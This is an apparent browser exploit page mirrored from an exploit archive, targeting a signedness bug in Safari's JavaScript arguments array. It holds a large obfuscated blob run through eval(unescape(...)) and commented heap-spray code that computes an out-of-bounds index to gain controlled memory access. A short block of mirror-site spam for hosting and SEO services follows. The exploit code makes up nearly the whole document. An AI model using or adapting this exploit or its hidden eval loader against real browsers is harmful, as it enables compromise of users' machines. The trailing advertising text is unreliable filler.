<BODY>
<CODE id="sploit status"></CODE>
<CODE id="heapspray status"></CODE>
<SCRIPT>
i=0;eval(unescape(("gÃ#MÃÃÃ#Ãg#ÃÃÃÃ
@Ã
ÃÃ
Ã
Ã
ÃÃ
ÃÃ
ÃÃ@gÃÃ@ÃÃÃÃÃ#ÃÃÃÃ
ÃÃÃgÃÃÃÃÃÃÃÃÃÃÃMÃNÃÃM@MÃMÃM#MÃMÃ
MÃMgMÃMÃMÃMÃMÃMMMNMÃN@NÃNÃN#NÃNÃ
NÃNgNÃNÃNÃNÃNÃNMNNNÃÃ@ÃÃÃÃÃ#ÃÃÃÃ
ÃÃÃgÃÃÃÃÃÃÃÃÃÃÃMÃNÃÃÃÃ#ÃÃÃ#MÃÃMÃgÃgÃg@ÃÃ
ÃÃÃÃÃÃNgÃÃ#MÃÃNg#MNÃ#ÃNÃ#MÃÃÃÃ
Ã@M#Ã
ÃÃÃgÃÃÃÃÃ
N#MÃÃÃÃÃÃÃÃÃ
#MãÃ#ÃMÃÃÃgÃÃÃgÃ#M#Ã#Ã#\
Ãg #\
#M NgÃNÃ#ÃQÃ Ã\
ÃÃ ÃÃgÃÃÃ
ÃÃgÃÃÃ#ÃMÃg#N @\
#Ã ÃÃ
ÃÃg##MÃNÃÃggÃ@ÃÃgÃgÃÃÃgà Ã\
ÃÃ Ã
ÃMg#N@ÃÃ#ÃÃÃÃNÃÃÃÃMÃÃÃÃ
ÃÃÃ#@Ã Ã\
ÃÃ g##ÃNMgÃgÃ
gÃÃ NÃ@g##ÃgM#ÃÃgÃÃ Ã
@#MgÃÃ
ÃÃÃ ÃMÃ
#Ã Ã\
ÃÃ
Ã@#gÃ@ÃNÃ
ÃÃ@#Ã
ÃN#ÃÃÃNÃ#ÃÃ g#ÃÃ#Ã#gMMÃ
à MÃ
#ÃÃÃÃ
Ã@#gÃ@ÃNÃ
Ã\
Ã@ #ÃÃN#ÃÃÃNÃ#ÃÃg##Ã#Ã#gMNN#Ã
ÃN#ÃÃÃ NN#ÃÃN#ÃÃÃg M#ÃÃÃÃ
Ã
ÃÃ ÃÃ#ÃÃÃgÃÃÃÃÃ
Ã\
Ãg #N#MÃãMgÃ#ÃgÃ#ÃNÃÃÃ#@ÃÃ#@ÃÃ#@ÃÃÃÃÃÃÃà g##Mg##Ãg## ÃgÃgMà ÃÃÃ#Mà Ã
ãÃÃÃ
#ÃÃ
ÃÃÃÃ
ÃÃ
à #\
@Ã
ÃÃÃÃÃÃg#MNÃ#ÃÃ#Ã#ÃÃÃ
Ã#MNÃ#ÃÃ#Ã##ÃÃ
Ã#MNÃã@ #ÃÃ##Ã#ÃÃà Mg#Mà ÃæÃÃÃg#ÃÃ
à ÃÃÃÃ
ÃÃÃ#M# ÃgÃ#Ã#Ã Ã\
ÃÃ ÃÃ
ÃÃÃ#M#ÃÃÃÃÃÃ
ÃNÃÃ
#ÃÃgÃÃÃ
#MãÃÃÃMÃ#MÃNgÃ
ÃÃÃÃÃ Ãg#ÃÃÃÃÃg#M Ã
ÃÃÃÃ
ÃÃÃÃÃg#Ã
#MÃ #MÃ
ÃÃÃÃ
Ã\
ÃÃ ÃÃMÃ#MÃNgÃ
ÃÃÃÃ#ÃÃÃÃÃ ÃÃÃ#ÃÃgÃÃÃÃMÃÃ
MÃgÃÃÃ ÃÃÃÃÃÃNMÃÃÃ ÃgÃM@ gÃÃÃÃÃ Ã\
MÃ
#ÃÃÃÃ
Ã@Ã
ÃÃ
ÃÃÃÃÃÃ ÃÃÃgÃÃÃÃ
ÃÃÃg#ÃÃÃ ÃÃNÃÃM@ÃÃÃ
#à ÃÃÃæ ÃgÃÃà Ã\
ÃÃ ÃgÃÃÃÃÃÃÃg@ÃÃÃ ÃMÃgÃÃÃÃÃMÃ
ÃÃ#à ÃÃ#ÃÃÃ#ãÃÃ#Ã
ÃÃ# ÃÃÃ#Ã ÃÃ#Ãg Ã\
ÃÃ Ã
ÃÃ
ÃÃÃÃÃÃ
gMÃÃ ÃÃÃggg#Ã@ÃÃÃ
ÃÃ
N#ÃÃ
MÃÃÃÃÃÃÃÃMÃ
ÃÃ#ÃÃÃ #ÃÃN# MÃÃÃN Ã\
@Ã @gÃ#ÃÃ
@#MÃgà ÃÃ
@Ã
ÃÃNÃ
M#ÃMÃÃ
@ÃÃÃÃÃÃgÃÃÃg#NÃÃ @MÃÃ @Ã
@ÃÃg ÃÃÃ
Ã
Ã\
g# NÃÃ
M#MÃ
@Ã
Ãg#N ÃÃ
MgÃMÃÃÃÃÃÃÃN#M MãMÃNÃÃ
ggÃ@Ã ÃÃ
Ã
à ÃÃ
ÃÃÃÃMÃ NÃÃÃ Ã\
Ã
Ã
ÃNÃãÃÃÃÃÃÃÃà ÃMÃNÃÃÃ
ÃÃÃ
ÃÃÃÃ#ÃMMÃNÃÃÃ
ÃÃÃ
#MgÃÃÃ
#ÃMMÃ NÃÃÃÃÃ
Ã
ã MÃÃ# Ã\
g# ÃÃ
gÃÃ
ÃÃÃÃMÃÃ
ÃÃgÃ
gÃÃÃMMÃÃÃÃMNN ÃÃÃÃÃÃ gMÃÃ ÃN#Ã#g #ÃÃ Ã\
ÃÃ gÃÃ#MÃ#g#Ã
#M ÃNÃg#MÃÃÃÃÃM NNÃg #MÃM ÃÃÃN# Ã#g# Ã
\
#M Ã#MÃÃMÃÃ
ÃÃ
Ãg ÃÃÃÃgMÃ
NÃ
N Ã
NÃ
N Ã
ÃÃMÃ#ÃÃÃÃgMÃ
ÃÃÃÃ g\
Ã# ÃÃÃÃN#ÃÃÃÃ
Ã# NÃ
ÃÃÃ#Ã MÃÃ #MÃÃ ÃÃ# MÃ ÃNMÃÃNÃÃÃÃÃ
ÃÃMÃÃ#MÃ #g# Ã\
ÃÃ ÃÃgÃÃÃ#g#Ã
#M Ã#ÃgM NÃg#gà gÃMà ÃgÃÃÃà ÃÃÃÃMÃÃÃÃÃÃÃN #ÃÃ#MNÃà ãÃÃ
Ã\
ÃÃ ÃÃÃÃÃÃÃÃÃN@Ã Ã#ÃÃ Ã#MÃ
ÃÃÃÃ
à à Ã#Ãà Ã#MNÃÃ#Ãà ÃÃÃÃÃÃNÃÃÃÃà ÃgÃÃÃà ÃÃ#ÃÃà ÃÃNà Ã\
ÃÃ ÃÃgÃÃ#ÃÃÃÃÃ# ÃÃ ÃÃÃgÃÃÃÃg#M ÃÃ#ÃÃ g#N# M#Ã#ÃÃgÃMÃM N#ÃÃÃÃ#M ÃÃ#ÃMÃ ÃÃÃÃNÃg@ÃÃggÃÃ #ÃÃÃ Ã\
gà ÃÃÃÃÃÃÃ#MÃÃ# ÃgMNMgÃgÃ
gÃÃNÃ @ÃÃÃÃ#@ ÃÃÃÃ MNÃÃg#Ã ÃMÃÃÃN# Ã#MÃ# MÃÃ#ÃÃ ÃÃ
#ÃÃMÃÃ gÃ@Ã Ã\
gà ÃÃÃMÃ@ÃÃ
Ã#Ãg #ÃÃNÃ@gÃÃÃÃ@ÃÃ
M Ã#ÃÃNÃNÃÃ #ÃÃÃ Ã
ÃÃ
Ãgà ÃÃg#g# gÃ
ÃMM ÃÃgà @ÃÃÃÃÃà NMg #\
g# Ã@gÃÃÃgÃÃÃÃ ÃÃÃÃÃÃNg#Ã@ÃÃ ÃÃÃÃ gÃ
g@Ã@gÃÃ ÃÃ@Ã Ã
Ã#Ã
Ã# ÃÃÃÃ@à ãÃÃgÃ
g#Ã Ã
ÃÃÃÃÃÃ gÃÃ @\
ÃÃ gÃÃÃÃgÃMÃ Ã
ÃNgÃÃÃÃÃÃÃÃ NÃÃg@N Mg@ÃÃNMÃ ÃÃÃ# ÃMNNÃ g@NMg@ ÃÃNM ÃÃMÃ N#ÃÃ#M Ã#Ã
Ã\
Ã
à g#gÃgÃMà ÃgÃÃÃÃÃÃÃÃà ÃÃ#ÃÃÃà MÃà Ã#ÃÃÃÃÃg ÃÃÃà ÃÃÃMÃà @Ã#ÃQà Ãg#N #Ãà #Mà NÃÃggà @M#ÃÃà ÃÃà #\
ÃM ÃÃÃÃÃ
#Ã# MãM#ÃÃÃgÃÃà gÃÃÃgg Ã@ÃNà Ã
ggÃ@ÃÃ
gÃgà ÃÃgÃà ÃÃ
ÃÃà ÃÃÃà Ãæg#à Ã
gà g#Ã@Ãà ÃÃÃÃÃãÃ@g#Ã@ÃM g\
Ã
g #gÃÃ@ÃÃÃ Ã
ÃÃÃÃ
gÃÃÃ
ÃNÃÃÃÃ ÃÃÃÃgÃ
à NÃÃÃ@à @ÃÃ# ÃÃÃÃà ÃÃ#ÃÃà æÃgà ÃÃÃÃÃ@ MÃÃ@g# Ã
ÃÃÃÃ
MN #ÃÃ#Mg# Ã
\
ÃÃ ÃÃ
MÃ
ÃÃÃ Ã
M#ÃÃÃÃ
ÃÃ
ÃgÃÃà ÃNg#ÃÃgà ÃÃ
ÃÃà Mg#Ãà Ã@Ã# ÃÃÃ@à ÃÃ@à ÃÃÃÃæg#ÃÃ
gÃÃ @ÃÃ
ÃÃÃNà Ã#Ãã ÃÃÃ#Ãà Ã\
ÃN #ÃÃ@Ã@ ÃÃÃNÃNÃÃ# ÃÃÃ#M ÃÃÃÃ#@ÃÃÃ ÃÃÃ#N #N#ÃÃ ÃÃÃÃÃ ÃÃÃÃÃ ÃÃÃÃ ÃÃÃ #N#N#ÃÃÃÃÃÃÃN@ÃÃ #ÃMÃ ÃÃN@ #NM Ã\
N# ÃÃÃÃ
gà Ã#ÃÃg#g# #MÃÃN @ÃMMÃ#ÃÃà #MÃÃà ÃMÃà ÃÃÃà ÃÃÃÃà ÃÃ
g ÃÃ#Ã Ãg#g#ÃÃ MÃM NgMg M\
Nà #ÃãÃÃÃà @ÃÃÃ#ÃÃÃ@ÃÃÃ#Ãà ÃÃg##ÃÃ
ÃÃ ÃÃ@g gÃÃg ÃÃÃÃ @MÃg# ÃÃg ÃÃÃ
Ãà Ã@Ãã Ã@g# M\
ÃÃ
ÃÃÃÃÃÃNÃ NÃÃÃÃg#ÃÃ#MÃÃÃ ÃÃÃg#Ã
Ã#M Ã
ÃÃ
M ÃÃÃÃà Ãg# #Mã@ ÃÃà Ã#M# ÃÃà ÃÃà g#Mà #\
Ãg gà ÃÃÃ#Ã
ÃÃ
ÃÃ #NMÃÃÃÃ
ÃÃÃ
ÃÃÃ#Ã MNNÃÃ#NMÃ ÃÃÃ
à ÃÃ
ÃMÃ N# MÃ Ã#g #ÃÃN @#ÃÃ
ÃÃÃ #ÃN#Ã #\
g# ÃÃÃÃ#M Ã#g#ÃÃgÃÃ ÃÃMÃÃ#ÃMNÃÃ
ÃÃg#ÃÃ
gÃNÃÃÃ
Ã
à #Ãà ÃÃ@à ÃÃ# ÃÃÃ@à ÃæÃgà ÃMg #ÃÃMà Ã\
gà Ãg#ÃÃÃ
ÃÃÃ# ÃMNgMNÃg#Ã ÃÃ
ÃMÃN #MÃÃ#Mg #ÃÃNÃg#N#MMà ÃMÃãÃ
Ã#Ã ÃNÃg#Ã#M MÃÃÃÃ#Ã
à N#N Ã#MÃà Ã\
NÃ
ÃÃÃÃÃÃNÃ
ÃÃÃÃÃÃÃ #Ã#ÃÃÃNÃÃÃ Ã@#MÃÃÃ NÃ
ÃNÃÃ
#ÃÃgÃÃÃ
ÃÃÃÃ# Ã#Ãg# Ãg# MÃ#Mg#ÃNÃÃMÃ#Ã
ÃÃ Ã#Ã# ÃNÃÃÃÃ #\
Ã
à ÃÃ#ÃÃÃÃÃg#Ã
ÃÃ
Ãg#ÃgÃ
M #Mg#ÃgÃÃÃ# g#ÃÃÃÃ NÃÃÃg# ÃgN@ ÃÃÃ
ÃÃ Ã#ÃÃMÃÃNÃÃÃÃÃNÃÃÃÃ@ÃÃÃMg#Ãg N@Ã ÃÃÃÃÃÃÃg#ÃÃÃÃÃ ÃÃÃÃ Ã#MÃ
à Ã\
ÃÃ ÃÃgÃÃ#MÃ#Mg#ÃÃM Ã
Ã#ÃÃ
ÃNÃg# MÃÃÃÃ
à ÃÃÃ
ÃÃ
Ãg ÃÃÃ ÃÃÃ#Ã ÃÃÃ
ÃÃÃ@Ã@ÃNÃÃg#ÃNÃMÃÃÃ#ÃÃg#Ã@ÃÃÃ@Ã#ÃÃÃNÃÃÃ ÃÃÃ ÃÃÃ@gÃÃÃÃ@g #ÃÃÃ @gNÃÃ
à #\
Ãg #ÃÃNÃMÃÃ
ÃÃÃNÃ gÃÃÃ#Ã
ÃÃÃ#Ã ÃNÃÃg #ÃÃÃ
ÃÃÃ# ÃMN ÃÃ
ÃÃg#ÃÃ
gÃÃÃÃ#ÃÃÃÃÃÃÃÃ
ÃãgÃMÃÃgÃ@Ãgà Ãgà ÃÃÃÃÃgÃÃ
à Ã#ÃMà gÃgÃg@ Ã\
Ã
à ÃÃÃÃÃNÃÃÃÃÃà ÃNÃÃÃÃÃ#ÃMà ggMÃà ÃÃÃggÃNà gÃ# ÃÃggMÃÃÃÃÃggÃNÃg Ã#ÃÃÃÃ#Ãà ÃÃ
ÃÃ@g#ÃÃÃ @ÃÃ Ã ÃÃNÃÃ
à NÃÃÃÃMà Ã\
ÃÃ ÃÃÃMN#ÃgMgMÃ #gÃÃÃ
ÃNÃgÃà ÃÃÃÃN Mg#g##ÃÃN ÃÃ# ÃãÃÃÃ#ÃÃÃÃÃà Ã#ÃgÃ#gÃÃÃg#ÃÃ#à #MÃ
MgMà gà gÃgÃ
ÃÃ
M Ã
ÃÃÃ
ÃÃÃ M\
Ã# @MÃ
ÃÃÃ
ÃÃÃMÃ# @gMÃ
@ÃÃÃ
#gÃg #gÃÃ Ã
ÃMÃ
ãg@ÃÃ
à ãÃà ÃÃÃÃÃãNÃg #Ã
ÃÃ
ãgÃgÃMÃÃgÃ
Ã
gÃ
ÃNà #gà ÃÃÃÃÃNÃ
ÃÃÃ Ã
ÃÃÃgÃÃÃÃÃà NÃãÃÃ
Ã
ÃÃ Ã\
ÃÃ
ÃÃg@Ã
ÃÃNÃÃÃ# ÃÃÃ
#ÃÃgÃÃÃ
à ÃÃÃÃM g@ÃÃÃNÃÃ
ÃN gÃgà ÃÃg#ÃÃ
gÃÃ
ÃÃÃÃMÃÃ
ÃÃgÃ
gÃÃ@ÃÃ
ÃNà ggà ÃÃÃÃÃ#Ã
à Ã
ÃÃÃÃ ÃÃgÃÃÃ
ÃÃÃÃÃÃÃÃÃ
ÃÃÃÃÃÃ Ã
\
#Ã ÃgÃÃÃ
Ã##Ã#Ã# ÃÃÃg@gÃÃÃgà ÃÃ
#@ gÃÃ@ÃÃÃ
ÃÃÃÃÃ ÃgÃÃ Ã
#g ÃÃÃgà gÃÃgÃÃÃNg#gÃ
à Ãg#g ÃgÃÃÃÃÃÃ
ÃÃ ÃÃ#ÃÃÃÃÃ Ã
gÃÃÃ#ÃÃ#ÃÃ#MÃNÃÃgà Ã\
ÃÃ gÃÃÃÃgÃÃNgÃ
g# ÃÃÃÃÃgÃÃ
ÃNgà MÃÃà ÃMÃÃgÃÃggÃ
ÃMÃÃ
ÃNg Ãg#Ã NÃ#ÃQ ÃÃÃÃÃÃ
ÃÃ
ÃNÃÃ Ã
ÃÃÃ ÃÃÃÃÃÃgÃgÃÃÃ
g#ÃÃÃÃÃ#ÃÃÃ Ã
ÃÃM@Ã
ÃÃ
ÃÃÃÃ
ÃÃ
à Ã\
ÃÃ ÃÃÃÃÃMÃÃÃÃÃgÃ
gà g@gÃ
gÃÃÃ
ÃÃÃÃ
ÃMÃÃ ÃNgÃMÃÃÃÃÃÃÃ M#ÃN gÃ
ÃMÃ ÃÃÃMÃÃ
ÃÃÃ#ÃMÃ
ÃÃÃ
ÃÃÃM ÃÃNÃ
ÃÃÃgÃÃgÃÃ
gÃÃgMg ÃÃÃ
ÃÃÃ
gà Ã\
Ãg #ÃÃ
MÃgÃÃÃgÃ
g#MÃ#@gÃ# ÃÃ##ÃÃÃ#ÃMÃÃÃÃNMÃ #MÃÃ ÃÃ
ÃÃMÃÃ ÃÃÃÃÃ ÃNÃ Ã
ÃÃÃÃÃNÃÃÃÃÃÃMMÃÃÃ
ggÃÃ Ãg@g@ÃÃMNÃÃ#ÃgM M\
Ãà NNMg@ÃÃÃÃÃãÃÃ
ÃÃÃÃN@ÃNÃÃÃ@NÃ#ÃgÃ#@NÃÃMÃ ÃÃÃ ÃN N#ÃÃ gÃNÃÃ
#ÃÃ
gÃgÃMÃÃgNÃ
à ÃÃNÃÃg#g@#à N\
ÃÃ ÃÃ
ÃÃ
ÃgÃÃ#NMÃÃÃÃ
ÃÃÃ@ÃÃÃNÃÃ
Ã@Ng M#Ã
à ÃÃÃÃÃÃÃ
ÃÃÃÃ
ÃNÃ M#ÃNg@gÃÃ Ã\
gà ÃÃgÃgÃg@ÃÃ
ÃN gÃÃ ÃÃ
ÃNÃ ÃÃÃ
ÃÃ
ÃN ÃÃÃÃÃ Ã\
Ã
à ÃÃÃÃà ÃÃà @\
NÃ Ã
ÃÃÃÃ Ã
Ã\
NÃ g#ÃÃNg N\
ÃÃ
ÃÃÃNÃg N\
ÃÃ #ÃÃÃÃÃ Ã\
ÃÃ
ÃãgÃÃgà Ã\
gà ÃÃÃÃÃgÃÃ
N\
Mg ÃÃÃ
NNMÃ
Ã
# Ã\
Ãà ÃæÃgÃÃÃÃÃ## Ã\
@Ã NÃ
ÃÃ@NÃÃÃÃÃ ÃÃgÃÃÃÃ@Ã
ÃÃÃ Ã\
ÃÃ ÃÃNÃ@ÃÃgÃgÃÃÃ
g#ÃÃÃNÃÃg ÃÃÃÃ#Ã
ÃÃ
ÃÃ#ÃÃÃÃÃ #\
ÃÃ #MÃ
ÃÃÃgÃ
à NÃÃÃÃ
ÃÃmÃÃÃ
ÃÃÃÃÃÃ
ÃÃÃÃg#ÃÃMÃgÃÃ
ÃÃÃÃgMÃÃg Ã\
#Ã #MÃ
Ã
ÃMÃNÃÃÃÃ
ÃÃ
#ÃÃÃÃg#Ã#ÃÃÃÃg#ÃÃÃÃÃã Ã\
ÃÃ gg ÃÃÃgÃ
ÃNÃÃÃÃÃNÃÃÃÃÃÃgÃÃM Ã\
@Ã Ã ÃÃ
ÃÃg@Ã@ÃNÃ#ÃÃÃ Ã\
gà Ã\
ÃÃ
ÃÃÃÃÃ#ÃÃÃÃÃgÃÃÃÃ#ãM#g#ÃãÃÃ#ÃMÃMãÃÃÃ#MÃÃgÃ#MÃÃÃNg#g@ÃÃÃÃgÃÃÃgÃÃNÃ#ÃÃÃÃgÃÃÃgÃÃÃÃ#ÃÃÃÃÃÃÃNÃÃÃÃÃÃÃNÃÃgÃÃNg@ÃÃg@ÃÃÃÃÃÃÃÃ#ÃÃÃ
gÃÃÃÃÃÃÃÃÃÃÃ#ÃÃÃÃÃÃMÃ#ÃÃ#Ã#ãÃ
Ã#Ã").replace(/./g,function(c){return" `'^*\\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))
// The index for the "arguments" array in a JavaScript function in
// Safari suffers from a signedness issue that allows access to elements
// that are out of bounds. The index is cast to a signed value before it
// is compared to the length of the array to check if it within the
// bounds. Integer values larger than 0x8000,0000 will be cast to a
// negative value and because they are always smaller then the length,
// they are treated as a valid index.
// The index into the arguments array ends up in instructions
// that multiply it by 4 to access data in an array of 32 bit values.
// There are no checks for overflows in this calculation. This allows us
// to cause it to access anything in memory:
// Pointer to object = base address + 4 * index
// The base address varies only slightly and is normally about
// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
// predictable location using heap spraying, we can then calculate an
// index that will access this memory.
var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
var iTargetArea = 0x10000000;
// Be advised that heap spraying is "upside down" in Safari: strings
// are allocated at high addresses first and as the heap grows, the
// addresses go down. The heap will therefor grow in between a lot of
// DLLs which reside in this area of the address space as well.
// We'll need to find an area of memory to spray that is not likely to
// contain a DLL and easy to reach.
var iTargetAddress = 0x55555555;
// iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
// iIndex = (iTargetAddress - iBase) / 4
var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
// We need to trigger the signedness issue so the index must be larger
// then 0x8000,0000. Because of the integer overflow in the
// multiplication, we can safely add 0x4000,0000 as often as we want;
// the multiplication will remove it from the result.
while (iIndex < 0x80000000) iIndex += 0x40000000
document.getElementById("sploit status").innerHTML = (
"iBase + 4 * iIndex = " +
"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
);
// Set up heap spray
var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
oHeapSpray.oOutputElement = document.getElementById("heapspray status")
// Spray heap asynchronously and call sploit when done.
oHeapSpray.spray(sploit)
function sploit(oHeapSpray) {
// This will cause an access violation using the value 0xDEADBEEF,
// which comes from the strings we sprayed the heap with.
// 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
arguments[iIndex];
}
function DWORD(iValue) {
return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
}
</SCRIPT>
</BODY>
# milw0rm.xmc.pl [8x16*32^n]
Polish:
Webdeveloper |
Probably the best hosting company Interserver
SEO Shop:
Multi-quality SEO links |
Best Proxy Service.
Group: xmc.pl